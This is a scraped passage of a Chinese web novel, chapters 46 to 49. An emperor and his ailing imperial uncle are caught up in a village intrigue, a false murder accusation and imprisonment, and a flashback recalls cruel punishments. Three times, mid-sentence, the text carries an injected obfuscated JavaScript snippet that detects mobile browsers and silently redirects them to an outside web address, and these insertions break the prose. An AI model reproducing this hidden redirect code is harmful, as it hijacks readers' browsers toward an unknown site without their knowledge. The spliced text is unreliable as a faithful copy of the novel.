山不算矮,山路也不好走,被雪藏起来的石头一块接着一块,高颉走在前面开路,几人安静地跟在后面,一直走到山顶,几人纷纷喘了几口气,抬头望去,眼前宽宏又肃穆,带来一种强烈的视觉冲击,满山银素,如诗如画,又经光线的照耀,如同遮上了一块洁白的纱布,带来一种朦胧的美感。 宋闻璟拿出画稿,与之相比较,随后又修改了补充了一点,指着最远处的地方道:“那是河流的源头吗?” 高颉点头道:“是,这附近的村子几乎都靠着这条河水生活,但也不乏有几条小河。” 宋闻璟道:“那这几条小河也是这条河分出来的吗?” “不太像。”高颉道,“这几条小河有时候会干涸,不如这条河流水多。” 宋闻璟点点头,做好笔记后,六人又爬了座小山,将画稿补充完后,天也渐黑了,六人坐在山顶休息了一会儿,便准备回村,四个小伙子走在最前面,宋闻璟和高颉被落在后面,慢悠悠走着。 天色越来越黑,六人不知走了多久,远处终于出现了一抹亮光。 46.第 46 章 那是另一个方向,那不是村子的方向。 这抹亮光没过多久也很快消失不见。 六人没太在意,身上的疲倦只想快点回到村子里休息。 而沈翊是临近中午才醒的,醒来后屋里安安静静的,心里莫名一阵落寞,随后又在村子逛了半天,村民看见他也装作不在意,自顾自地忙着整理自己手里的东西。 像是一副要搬家的样子。 等到晚上,六个人慢悠悠地回来了,宋闻璟和高颉几乎没怎么吃饭便躺在床上早早睡了过去。 到了半夜,沈翊同江二去了趟元府,元府依旧看守严密,两人费了一番功夫才混了进去,借着月色,两人翻上屋顶,元府里寂静无声,唯有一间屋子里还灯火通明,其中时不时还传来几声粗犷的笑声。 江二看了一眼沈翊,随后两人又悄悄往那边移了移。 没过多久,屋里又传来一阵阵乐声,融入黑夜。江二先跳了下去查看了四周,沈翊顺势也走到门外,本想以为能偷听到些什么,却没想到,屋里的人又不说话了,都听着这曲。 半晌,江二回来了,他低声道:“陛下,这西厢房有点不对劲。” 沈翊问:“怎么了?” 江二道:“有一股很浓的香味。” “什么?”沈翊皱了下眉,还未等反应过来,便听见身后一声高喊:“谁在哪!” 闻言,两人纷纷逃离,屋里的人也都因为这阵喊声急忙跑出来。 两人前脚刚跑出元府,还未松口气,面前便出现一个戴着帷帽的人,纱布遮住他的脸,他站在原地不说话,抬手便扔出两把小刀直直朝两人飞了过来。 两人急忙躲开,随后三人打斗了一番,渐渐地,府兵涌了上来,两人见情况不妙也选择抓住机会脱身。 直到把身后的人都甩开,两人回了村子。沈翊喘了口气推门走进来,正巧宋闻璟正站在桌边喝水,见沈翊从外面回来,宋闻璟不禁清了下嗓子,略微沙哑问道:“怎么这么晚回来?” 沈翊淡淡道:“出去走了走,呆的时间有点晚了。” 宋闻璟隐约听得出不对,但还是以为沈翊在生气所以不愿意回来,便点了点头,又捧着杯子喝了一口水,缓了一下嗓子道:“时间不早了,早点睡吧。” 沈翊点了下头,自顾自地走过去,又回了个“好”后,便爬到床上准备睡觉。 不一会儿,困意上来了,沈翊迷迷糊糊地睡了过去,直到梦中像被火烤一般热醒,沈翊这才不情不愿地睁开眼,却发现自己不知道什么时候去和宋闻璟盖一床被子了。 而此时,宋闻璟身上还正靠着一个高颉,高颉睡的很死,沈翊拍了他好几次都没醒,大概是今天太累了。 随后沈翊扭头又悄悄挪开,本想去摸自己的被子盖,谁料宋闻璟却突然动了动,翻了个身又将身上的被子拉下一半去,便继续睡了过去。 等宋闻璟不动了,沈翊却感觉莫名松了一口气,随后找到被自己踹走的被子重新盖在身上,黑漆漆的夜,门外寒风凛冽,沈翊不禁想起刚刚在元府遇到的那个人。 很奇怪,这人会是谁?会不会是孔左说的那些人的其中一个? 可这些突然出现的人是从哪来的?为什么会帮山匪他们,跟自己动手? 按理来说,这个小村庄并没有什么能吸引人来的,除非有人告知,或受了什么人的命令,一定让他死在这。 而这个人又是谁? 沈翊闭了闭眼,随后又不禁看向一旁的宋闻璟,裴夏走了,是否还有别人留在这? 可宋闻璟为什么总是很讨厌自己,或许是在两人第一次见面就开始的,直到后来自己登基,宋闻璟便再也没给过他一个好脸色,他不明白,也不敢问,他怕再换来一阵宋闻璟的冷嘲热讽和一番新的技俩。 但他确实也不得不承认,如果没有宋闻璟给他撑着,他不会当上这个皇帝,也不会活的如此悲惨,可为什么宋闻璟在亲手将自己送上来之后,却又像变了个人一样。 沈翊沉沉想着,看着黑夜里宋闻璟模糊不清的背影,思绪飘远又回来,所以宋闻璟到底是怎么想的? “这个位置好像本来就不属于我。” 沈翊喃喃道,“可为什么总要把我推上去?” 沈翊闭上了眼,不禁回想起了从前,那时候什么都没有发生,谁也没有离开,日子过得无忧无虑,一切都岁月静好,可对现在来说却好像只是一场梦。 不知过了多久,沈翊刚要伴着温暖的回忆入睡,便听见身边的人坐了起来,随后又响起一阵断断续续的咳嗽,沈翊下意识睁开眼,眼前一个模糊不清的身影不停地颤抖着身子,像是极力压制着什么,沈翊看着他,两秒后又漫不经心地移开眼并悄悄翻了个身。 一副无关事己的样子。 不得不说,今天的运动量已经堪比往日四五天的运动量,如果放在现代,那必定稳稳当当地排在微信步数第一。回来时,就连高颉这个天天活泼乱跳的人都累的一句话都不愿意说了,更何况自己原本就命不久矣的人。 宋闻璟确实也是高看自己了,起初也只觉得很累,本想着睡一觉就好了,谁料这觉越发地不安稳,全身一旦松懈下来,便觉得哪里都很难受,但又说不出来具体是怎么难受。 等到咳嗽缓和了,宋闻璟已然没有了睡意,坐在原地愣了会神便摸索地下了床,屋外的风依旧吹个不停,风声灌入耳朵,莫名升起一阵怪异。 宋闻璟借着若有若无的月色慢慢移动到窗子旁,打开窗子露出一条狭窄的缝隙,攀落在窗纸上雪也顺势掉了下去,冷风沿着缝隙挤进来,吹散了身上的燥热,一时间便觉得还有点舒服。 可没过多久,寒风原本冰凉刺骨的寒意逐渐显现,宋闻璟关上窗,点起桌子上残存的半根蜡烛,便想着看看今天费劲功夫的画稿是否补全了。 屋子里的烛光微弱又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464334|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强烈,窝在被子里的沈翊也跟睡不着了。大半夜宋闻璟不睡觉,现在又在偷偷摸摸写什么呢? 纸张互相摩擦的响声和一声声的闷咳也跟着越发扰心神,最终,沈翊还是按耐不住心思,假装翻了个身坐起来,心中却早已莫名燃起一种当场把宋闻璟人赃并获胜利的快感。 他静悄悄地下了床,踱步走到宋闻璟身后,看着宋闻璟手里一张张诡异的线条,不由得愣了下,随后又默默想,果然是宋闻璟,传递消息的方式还是太严密了些。 不过,总有破解秘密的方法。 宋闻璟原本看的专注,并没发现沈翊,直到无意间看见桌子上的投影不知何时多出来半个身子,宋闻璟这才不禁顿了下,还未等开口,眼前便出现了一只手,拿起桌上一叠地势图,顺而询问地声音从头顶上出来: “皇叔大晚上不睡,在这干什么呢?” “这是什么?皇叔画的一个个圈干什么?” 沈翊走到他身侧,一个接着一个地问道。 宋闻璟放下手里的笔,抬头看着沈翊开口问道:“陛下怎么醒了?” 沈翊盯着手里的画稿不紧不慢道:“当然被你吵醒了,你声音太大了,现在睡不着了。” “这……”宋闻璟默了默,“那我不看了。” 沈翊抬眸,看着宋闻璟不知道是因为烛火映射而透出红扑扑的脸颊,还是因为宋闻璟心虚显露出来的,心中不屑,又问了一遍手里的画稿:“那皇叔这是在写什么?” “这个?”宋闻璟笑了笑,又道:“这是今日我和高大人勘察了村子里地形画出来的。” “是吗?”沈翊很显然不信,手里几幅画稿他能看出来,可还有几张很明显不一样,宋闻璟城府太深,也不免是障眼法,还有这高颉,确实是和宋闻璟一路人,也不可信。 他皱了皱眉,又假意递到宋闻璟跟前试探道:“不如皇叔现在跟我说下这是什么,毕竟这样画的,我还没有见过。” 闻言,宋闻璟看着沈翊一副好奇的样子,心里莫名有几分欣慰,便点了点头,闷闷咳了几声,断断续续讲了一番,怕沈翊理解不了,也都是一些概念性的叙述。 沈翊点着头,并也没察觉出有哪里不对,甚至还觉得宋闻璟说的还有几分道理,除了还有些从没听过的什么“南水北调”工程又或者是什么“四横三纵”的总体布局。后然,等宋闻璟说完了,沈翊愣了愣才觉得这才是真的不对劲,宋闻璟怎么会懂这么多,以前他不是都不感兴趣吗? 时间不知不觉过去,半根蜡烛燃烧的很快,流下的蜡油摊在桌子上,两人的影子渐渐相融,竟无人察觉。 讲了一番,宋闻璟也累了,即使沈翊还想缠着他继续听,宋闻璟也没有精神继续讲了,便催促着沈翊去睡觉,沈翊的眼睛却一直盯着手里的几幅地势图,心里却还有几分疑虑。 两人僵持了一会儿,沈翊也趁机偷偷背了下来,随后这才回去了。 47.第 47 章 这里的冬天,夜间温度很低,降温也快,宋闻璟在写完第一张稿子时,已经明显能感受到寒冷的空气贴在身上的感觉,可宋闻璟总觉得自己浑身依旧热乎乎的,即使他本人已经感觉到冷了。 微弱的烛火晃着人眼花,宋闻璟这才停下笔,抬眼看过去时,蜡烛已然快燃烬,桌子上流淌凝固的蜡油摊成一片,宋闻璟只好打消继续写的念头,俯身吹灭蜡烛,房间里变得更黑了,黑的好像看不见任何东西。 宋闻璟趴在桌子缓了一会儿,才发觉头沉的很,身上却像卸了力气一般软绵绵的,明明是寒冷的冬日,他穿着一身浅薄衣衫,竟出了一身的薄汗。 身上的不适越发嚣张,宋闻璟闷闷咳了几声,怕吵醒床上的两个人一直强忍着,嗓子又干又疼,宋闻璟只好去摸索着水壶一遍遍地给自己倒水喝,想把这磨人的咳嗽压下去,但这个方法只能压制一会儿,没过多久,便又变本加厉地返了上来。 “你怎么了?” 黑漆漆的四周,一抹温热落在肩膀上,随之沈翊的声音贴了上来。 宋闻璟闻言抬头朝声源看去,此刻,沈翊的手搭在他肩上,一双明亮的眸子在此时也略显暗淡地看着他,宋闻璟以为自己的咳嗽声将人吵了起来,便小声道:“是把你吵醒了吗?我现在不咳了。” 沈翊道:“我还没睡。” “嗯。”宋闻璟点点头,这才放心了一点咳了几声出来。 其实,沈翊回去后还偷偷躲在被子里学着画了几下,但不怎么明白,图上一些看着杂七杂八的标志,没画几下就有点搞混了,自己又复盘了好几遍,反倒更混了,本想着明日再趁着宋闻璟不注意,再偷偷去看一眼,但一闭上眼,那些怪符又在脑子里打架,这个小方块应该在哪两条线之间,那条多出来的线应该截到哪里,还有那线条上多出来的几个小点是落到哪条线? 自己想了半天,也听着宋闻璟咳了半天,最后听不下去了,才从床上爬起来,来看看人。 手刚抚上外衣,沈翊便知道宋闻璟身上很凉,随后也看不清这人具体怎么样,但从咳嗽声里能听出,宋闻璟不是生病了就是生病了,毕竟从始至终,这人总是大小病的生,可即使生病也不耽误他筹谋划策。 沈翊笑道:“这么晚了,皇叔明天再看也不迟。” 宋闻璟没有再说什么,轻声“嗯”了一句,便头重脚轻地上了床。 看着宋闻璟躺下了,沈翊脑子里又打起这几张地势图的主意。 天还蒙蒙亮,沈翊便起了个大早,看着两人还在熟睡,便又去偷看了一会儿,将这几张图纸记牢在脑子后,又看到昨晚宋闻璟写完的那份稿子,纸上写着利与弊,缺点与优点,分条明晰,将某个点分析了个透彻。 “梆梆——” 一阵不合时宜地敲门声响起,沈翊愣了下,这如此轻微力道可不是那群村民能敲出来的。 敲门声还在响,沈翊走过去谨慎地推开了一道缝隙,门外的人是乔装成村民的江二。 沈翊感觉有点奇怪,便开了门道:“做什么?你就这么出来了?” “不是,不是说这个的时候。”江二道,“那些府兵进村了。” “府兵进村?”沈翊不解地重复了一遍。 江二道:“看样子来者不善,会不会是昨晚……” 沈翊恍然,但也说不好这些人要干什么,可要说躲,也没办法去躲,这些村民把他们看的严严实实的。沈翊问:“他们现在到哪了?” 江二道:“应该快搜查到这里了,那些村民也都出来了。” “喂!” “你在哪干什么呢?还不快点回去,一会儿那些人看你不在家还不知道要砸坏多少东西。” 两人还在交谈着,不知从何处传来一嗓子,顿时将两人吓了一跳。 沈翊关上门,没过多久,门外响起嘎吱嘎吱地踩雪声,继而又响起村民地质问声:“你……我怎么没见过你?你那个村子的?在这干什么?” 江二默了默,笑道:“我从隔壁村过来的,听说皇帝在这,便想过来看看。” “这样?”村民挑眉看他,“现在看看吧,一会儿可能就看不到了。” 江二疑惑道:“怎么了?” 村民道:“那县老爷这么大动干戈来找人,就我们这几个小村庄他几年也不见下来一次,现在这么贸然找人,肯定就是来找这些人的。” “这……” 不等江二想个一二,便看着远处来了一群村民。 “杨二。” 闻声,两人偏头看去,杨二大声回了一句。 那群村民迎面走来,为首的老头开口道:“屋里的那几个人没跑吧。” “没有呢。”杨二问,“怎么了?” 老头道:“快快,把人都押出来,县老爷现在正在外面拿着画像找人呢,能拿五十个大麻袋的粮食,现在就外面放着呢,拿到这五十袋粮食也能让我们好好过完这个冬天了。” “什么?”杨二愣了下,随后忙不迭推开门。 屋子里,沈翊刚刚叫醒两人,两人迷迷糊糊地刚穿上衣服,一群村民便闯了进来。 “你们干什么?” 那些村民不回答,纷纷上前将三人绑了出去。不过一会儿,便押着他们到了元兴安面前,而一边是露出麻袋一片一片的粮食。 元兴安看见三人,立马走到三人跟前打量起来,直到停在沈翊面前不动了,两只眼睛微眯着瞧他,紧咬着后槽牙,面容略微扭曲地愤恨道: “是你,真是胆子好大。” “另一个人呢?” 沈翊回看着他,不紧不慢地眨了下眼:“谁?” 元兴安道:“昨晚和你一起的人,你们这两个凶手。” “什么啊?”沈翊笑了笑,“你在说什么?我有点听不太懂。” “哗——” 利剑出鞘的声音定住了在场的所有人,剑身搭在沈翊颈肩,仅剩那微小的距离便贴在脆弱的脖子上。 “你这个畜牲!淫贼!你不仅糟蹋了我女儿还杀了她,到现在你居然还不承认!” “你……真是不得好死!” 话音刚落,元兴安抬手剑在空中扬起一抹恐怖的高度,沈翊被绑着手,只好灵活侧身躲过,随后一脚踹在元兴安身上,将元兴安踹倒在地。 “你在说什么,我都不认识你女儿,别在这里血口喷人!” “你……” 元兴安立马爬起来气愤道:“昨晚不是你偷偷溜了府,趁着我女儿睡觉,你才趁机下了手,你敢不承认?” “不,是两个人,你还有别的同伙。” “你敢不承认昨晚的事吗?” 闻言,沈翊不自觉顿了两秒,连带四周都变得突然安静,前半句是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516889|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的,可后面又是怎么回事? 人群中,沈翊搜寻到江二的身影,在两人眼神交聚之时,江二微点头会了意,转身便消失在了人群中。 众人见沈翊不回答,似乎是在默认了这一事发经过。 时间流逝,宋闻璟只觉得头越来越晕,越来越疼,身上的无力感,连带眼前的景象都开始褪去颜色,突然之间,他莫名有点后悔,当初不应该放纵了沈翊,更不应该答应让柳溪这个纨绔子弟教导沈翊,并且还选择相信了他们两个人。 宋闻璟有点不敢相信,这还是书里那个坚韧聪明会做得一世明君的小皇帝吗? “这是真的吗?昨晚你什么时候出去的,去干什么……” 宋闻璟的声音轻飘飘的,落在沈翊耳边,好似又被风吹散。 沈翊没听清楚,扭头看着宋闻璟时,宋闻璟的脸色并不好看,苍白虚弱,眼中都变得没有了交聚,像一具可怜的空壳。 他往前走了几步,似乎想听清宋闻璟的声音,可面前的人感受到他的气息却不断往后退。 直到撞在高颉身上,宋闻璟往后看了高颉一眼,下意识道了个歉。 高颉虽然有点不明所以,很不适应,但莫名吃了个甜枣,心里还是美滋滋的。他贴在宋闻璟身上,却能明显感觉到宋闻璟压在他身上的重量。 “不是真的吧,这……确实没想到,陛下,您怎么还干这一行啊,这……不能急于一时啊,以后,以后……您还缺吗?” “你说什么呢?” 高颉话音一落,四周的村民纷纷窃窃私语,睥睨的目光落在沈翊身上,沈翊直觉得很烫,好像要将自己烫下一层皮来。 一瞬间,高颉也好像觉得自己说错了什么,赶忙闭了闭嘴,又解释道:“呸呸呸,这怎么可能,你这老头别这里编造,这绝对不可能,你休想嫁祸给我们!” 元兴安扔掉手里的剑,抬手一挥,几个府兵一同上前将三人按住。 “要不是那些人还要你们的命,现在我一定不会让你们活到现在。” “都带走!” 元兴安用力一挥袖,刚转过身,便有大胆的村民小心翼翼上前询问这些粮食是否可以拿走了。闻言,元兴安浅浅笑了一下,将五十袋粮食拿走了四十袋,而剩下的粮食也算不上是什么好品,伸手摸一把,甚至还能看见藏在粮食里细小的石子。 —— 三人被关在房间里,高颉一边咬一边拽的给宋闻璟辛辛苦苦地解开了绑在手腕上的绳子,可再扭头一看,旁边地沈翊已经懒散地坐在旁边的椅子上,胳膊弯曲支在桌子上手撑着脸颊,正漫不经心地看着他。 高颉有点呆住:“你……你什么时候松开的。” 沈翊道:“刚进门。” “你……”高颉道,“他们给你绑松了?不能吧。” 沈翊看了他一眼,哼笑一声,“因为我有这个。” 说罢,沈翊从袖口摸出一把小短刀,递到高颉眼前。 高颉却道:“你从哪里拿来的,怎么不早说,那绳子一股味。” 沈翊道:“别人送给我的。” “送?”高颉不解,刚要开口说一顿,却见下一秒,那把小短刀又快又狠地从沈翊手里飞了出去,随后直直插在了粗壮的柱子上,隐去了半边刀身。 “看见了吗?”沈翊冷淡道,“下次再乱说,我也这样送你。” 48.第 48 章 高颉笑着抬手抓了抓后脑勺,随后一脸正经地审视着沈翊,低声呢喃道:“陛下这怎么溜出去的,但......这元兴安为什么说是你,这是什么时候的事,他那么生气,看样子好像也不像假的......毕竟那可是他亲女儿啊。” 沈翊却道:“可能是巧合。” “巧合?”高颉看着沈翊想了想,随后一拍手道:“不会是你刚出来就被人看到了吧。” “其实要我说,既然陛下喜欢人家,带回去不就行了,虽然这元氏出身也只能算个小门小户,封个常在答应的也不成问题,而且,陛下也不小了,以后注定是要扩充后宫,繁衍子嗣的。” “但这也不能急于一时吧,现在命还保不住呢,陛下你怎么还背上一条命了?” 高颉一边嘴里喋喋不休地说着,一边在旁边走来走去,看似在非常严肃地分析这件事情。但这件事的主角,却非常不认可地为自己辩解道:“我都没见过她,而且我说的巧合不是这个巧合。” “那是什么?”高颉问。 沈翊默了默道:“我......我昨天半夜确实去了趟元府,但那件事我确实不知道,巧合就巧在这了。” “啊?”高颉又道,“你半夜去爬人家房顶了?这说怪也不怪了。” 沈翊叹了口气,心里却想着应该今天晚上再去爬的。 高颉不解问:“那陛下你爬人家屋顶干什么?” 沈翊道:“孔左说村子附近又新来了一群山匪和这儿的县老爷来往频繁,我就想着来看看。” “孔左?孔左说的?”高颉一脸不可思议的表情,一句话却只听了“孔左”两个字,“孔左不是跑了吗?什么时候去对面当细作了。” 沈翊瞟了他一眼,笑道:“孔大人那可厉害着呢。” “我......”高颉一时噎住,随后又愤愤补了一句道:“我也厉害着呢。” “哪呢?”沈翊道,“我怎么没看出来,派你来这儿多久了,还什么都没干呢。” “这......这不能只怪我啊,明明孔左也在。”高颉哼了一声,“陛下这偏心偏的也太严重了,回去之后只怕是撤了我的尚书之位,给孔左吧。” 沈翊摇摇头,“我可没说。” 听到答案,高颉心里却还是莫名一阵翻涌,有些可惜道:“臣在位从官多年,自从得宋大人提拔也是兢兢业业为国为民,即使没有功劳也苦劳,现在也真是被人打了一下,还有点措不及防。” “说什么呢?”沈翊道,“以前你就是这么说的让宋大人愿意给你升职的?” “那不是。”高颉道,“宋大人自然是看我才华横溢,聪明又能干,这才提拔了我,而且宋大人人又好,要不然也不会待我这么好。” “那行啊。”沈翊笑道,“既然宋大人对你那么好,那就让他想办法保住你这尚书之位吧。” 高颉一惊,“陛下你......” 高颉刚想再说什么,却发现自己好像忘了什么,宋闻璟去哪了? 他转过身,朝四周打量了一眼,发现在粗壮的柱子后露出一截衣袖,高颉快步小跑过去,宋闻璟苍白着一张脸靠着那根柱子,闭着眼睛不说话。 高颉以为他自己躲在这里又晕了过去,连忙蹲下身又叫又摇,直到看着宋闻璟睁开眼,才停下来。 “你怎么了?”高颉急急忙忙问他。 宋闻璟紧紧蹙眉,虚弱无力道:“头疼。” “怎么回事?”高颉一边说着,一边拉着宋闻璟的胳膊就要把人拽起来,“地上太凉,那边有椅子,去那边坐着。” 宋闻璟一整个人软的不行,不管高颉怎么拽他,宋闻璟都觉得自己动不了一点,便对高颉道:“那边太吵了,我在这坐一会儿就好了。” 话音落,高颉松开了手,随后身子一歪坐在宋闻璟身边道;“那我在这陪你,要是还难受叫我就好。” 宋闻璟原本那句“不用”还没从嘴里跳出来,便见高颉已经依在自己身上,无奈只好微微点了点头。 三人从一大早被关在这里,一直到中午,也不见有人来送点饭过来。沈翊戳破了一下窗户纸,却发现院中已经挂满了白布,下人们也都身穿着丧服在府中穿梭。 恰巧,高颉正好补完了回笼觉,醒来之后也觉得饿的难受,刚想准备动下身,却发现宋闻璟不知道什么时候靠在自己身上了。 高颉只好先把宋闻璟扶正,随后慢慢站起身,活动了下半边发麻的身子。 "在看什么呢?" 高颉走过去,沈翊闻声看了他一眼,道:“看人家办丧事。” 闻言,高颉也跟着看了一眼,随后又找了把椅子坐下去,“没人给我们送点饭过来吗?” 沈翊道:“像我们这样的,饿一顿两顿的,不是应该的吗?” 高颉道:“要是再这样下去的,我们也离死不远了,死之前总得给口饭吃吧,那囚犯死之前还能吃个断头饭呢。” 沈翊道:“怎么?你也想吃上这断头饭?” 高颉道:“那......那肯定不行,可是我们也不能不吃饭啊,那多惨啊。” 沈翊扭头看着高颉坐在椅子上乱嚎,心里难免有点不好意思,毕竟算起来也是自己连累这两个人。 片刻,两人都不说话了,空气安静的有些让人不适。同时,宋闻璟也慢悠悠转醒,头也变得不那么沉了,眼前模糊片刻后也变得清晰了许多,身上的力气似乎也回来好多。 缓了一会儿,宋闻璟站起身走了出去,刚刚还在百般无聊玩杯子的高颉蓦地站起身就迎了上去。 “大人,你可醒了,再睡下去,天都要黑了。” 闻言,宋闻璟扭头望了望窗子,正巧看着沈翊站在那边一动不动,随后笑道:“已经很晚了吗?” 高颉道:“不早了。” 宋闻璟又问:“那有人来过吗?” “没有呢。”高颉道,“人家都忙着呢,哪还有空管我们?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587469|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋闻璟道:“是又发生什么事了吗?” 高颉道:“没有,今日府里忙着置办丧事,没人搭理我们。” 宋闻璟却道:“也好。” “好?这不好。”高颉连忙摆手道,“今天都没人给我们送饭,这坐牢也没有不给犯人吃饭的啊。” 宋闻璟道:“既然这样,那先喝点水吧,说不定今天晚上就有人来送饭了,或者明天。” 说罢,宋闻璟推了一杯水放在高颉面前,高颉无奈的象征性地喝了两口水。 被关的房间不算小,里面空荡荡的,东西已经被搬空了,只留下几张桌子和椅子,貌似是长久不用的一间屋子。 不知过了多久,房间里变得出奇的安静,宋闻璟坐在椅子上都有点昏昏欲睡,而旁边的高颉都不知道用杯子里的水在桌子画了多少东西,直到目光落在沈翊身上,宋闻璟才发现沈翊好像一直没动过。 越到晚上,房间也变得越冷,窗户关不严总是透进风来,沈翊站在窗户边,几缕黑发也跟着微微晃动。 回想起今天早上的事情,又结合昨晚自己撞见沈翊大半夜回来,宋闻璟越是摸不清现在小皇帝的脾气,为什么书里塑造出的一个正义凛然的主角,现在变成了这个样子。或许真的因为一个剧情点的改变,而改变一个人。 可这个剧情点需不需要修复呢? 宋闻璟盯着沈翊的背影想的有点出神,如果这个世界的主角出现了偏差,那这个世界的结局那必定倒向另一个极端,若小皇帝轻易得到了,那便没有了目标的动力,那其他的诱惑,也会让小皇帝分出别的心思,可若是遵从剧情发展,让小皇帝继续记恨自己,那自己确实也只有死路一条。 可有什么办法既能帮小皇帝修正偏差,还不能让小皇帝记恨自己? 宋闻璟不禁回忆起来,小皇帝缺什么?喜欢什么?还是想做什么? 这些,宋闻璟发现自己好像都不知道,自己从没了解过小皇帝,自己一次又一次把全都的注意力放在小皇帝对自己的态度上,似乎要尽力地将小皇帝推的越来越远,好像要把关系断的干净,可却从没试着走近小皇帝,了解他。 宋闻璟不禁泄了一口气,刚打算移开目光,沈翊却转过身来,两人目光相交,宋闻璟还没来得及移开目光,却见沈翊突然对他笑了笑。 宋闻璟一时摸不到头脑,在原地愣了几秒后,便迎着沈翊的目光走了过去。 沈翊却道:“皇叔若想问我,为什么不来找我,一直看我做什么?” 宋闻璟愣了一下,不禁问道:“你怎么知道我在看你?” 不是背对着的吗? 沈翊道:“我回头看过好几眼,皇叔不知道那时候在想什么想的那么出神,一直盯着我看,是想问我昨晚去哪了吗?还是想问我是不是我做的?” 宋闻璟偏头默了默道:“如果你想说就会告诉我。” 沈翊道:“然后呢?你又没有相信过我,到现在了还需要我再说一遍吗?” 49.第 49 章 从始至终,宋闻璟便从没相信过自己,也从没认真听过自己的解释,他想到的只有自己最后该得到什么样的后果。 直到后来,沈翊会说谎了,会嫁祸了,因为他太害怕宋闻璟了,害怕惩罚,所以他选择将这一切所有的过错都推给另一个人,让自己独善其身,摆脱惩罚。 可让沈翊没想到的是,一次的推卸会让自己变得痛苦不堪,尝到了劫后余生的庆幸,而这种短暂的感觉也并不好受,他利用了人性,却也小瞧了人性,他用钱财来买通其他人来给自己顶罪,可总有人会利用这件事不断向自己索取,放在身边像个无底洞,不知何时这场关于双方的交易成了单方面的勒索。 没过多久,事情终于被宋闻璟发现,沈翊不知道是害怕还是委屈的在一旁直掉眼泪,可预料之外的是宋闻璟没有生气也没有打他,反倒心情不错的要让裴夏教他射箭。 校场上,裴夏握着沈翊的手,循循善诱地一步一步地教着沈翊,沈翊小小的一个人,握着一把长弓属实有点费力,宋闻璟坐在一旁,看着眼前一大一小的人,耳边还时不时能传来沈翊几句哽咽的叫声,沈翊声音颤抖着,可手上的动作却很稳,因为前面没有靶子,远处只有一个围成圈的围栏,而里面是沈翊曾经买通的下人们,这里面不论是那种人,只要是和沈翊存在过交易的人,宋闻璟一个不剩的都抓了过来。 沈翊回过头,眼里挂着泪,站在原地颇有些无助,随后在连续失手三次后,沈翊放弃了,随后丢下手里的弓扭头就要往回跑,可人还没跑几步就被站在旁边的裴夏领起后衣领提了起来,沈翊挣扎了一番,可等再抬头时,只见一支搭在弦上的利箭破风而出,随之倒下一个人。 宋闻璟将弓重新递到沈翊跟前,道:“急什么,今日就算你能射中一个人就放过你。” 沈翊低头默了默,随后伸手接过来,搭了一支又一支,射出去一支又一支,从上午射到落日,箭筒里的箭都要射完了,地下的人依旧一个没少,直到沈翊累的跪在地上抬不起手,宋闻璟才终于开了口结束了这场闹剧,而下面的人,也都被裴夏射了个干净。 后面,宋闻璟没有再说什么,站起身便打算回去,旁边的裴夏也立马追了上去,只不过还没走几步,身后便突然飞来一支利箭,实在是太突然,等裴夏反应过来时,这支箭已经马上要贴脸了,裴夏伸出手下意识去推了宋闻璟一下,宋闻璟顺势往旁边闪了一下,这根利箭也从宋闻璟发间穿过,在地上落下几根黑发。 等两人回头看去时,沈翊站在原地脸上没有任何表情,可沈翊却很想笑,但身上没有力气,再多余的动作也做不出来,也看不清宋闻璟现在脸上会是什么样的表情,风声灌进耳朵,又被模糊消散,沈翊眼一闭,身子一歪,体力不支直接晕了过去。 等再醒来时,沈翊回想起这件事,还是觉得会很爽,虽然被躲了,但也算出气了,只不过往后的日子的更加不好过了,一支箭换来十天的酷刑,也算值了。 —— “确实,在他说出这件事的时候,我也真的相信了你做过这件事。毕竟你回来的时候什么都没有告诉我,我看着县老爷那副又气又恼的神情,也很容易联想在一起。” 宋闻璟开口跟他解释,但沈翊不为所动,只是又问了他一遍,“然后呢?” “嗯……”宋闻璟想了想,又道:“那我说我这次一定相信你,那你现在想跟我说吗?” “不想。”沈翊道,“我又不相信你。” “那……那不想说就不说了,既然这背后还有别的故事,那想必你也你的理由,那就只当我是一时想错了。”宋闻璟觉得有点尴尬,便不再继续搭话。 此时,宋闻璟被风吹的也觉得有点冷了,拢了拢身上的披风,便转身想回去继续坐着,还没等人还没往前走,便听见沈翊又道:“你是不是想套我的话,所以才说这样说的?” “什么?”宋闻璟有点不明白,皱了皱眉道:“套什么话?” “你不知道?”沈翊看他,“我就知道你才没有这么好心,没了裴夏,其实你也没那么厉害,怎么?现在都要开始来讨好我了?” 沈翊想了又想,确实也没想到会是什么原因让宋闻璟破天荒地愿意相信自己,求着自己说解释,除了自己手里那几份消息,可这几份消息也从没透漏过,宋闻璟怎么听到的风声? 宋闻璟道:“我没那个意思。” 沈翊问:“那你什么意思?” 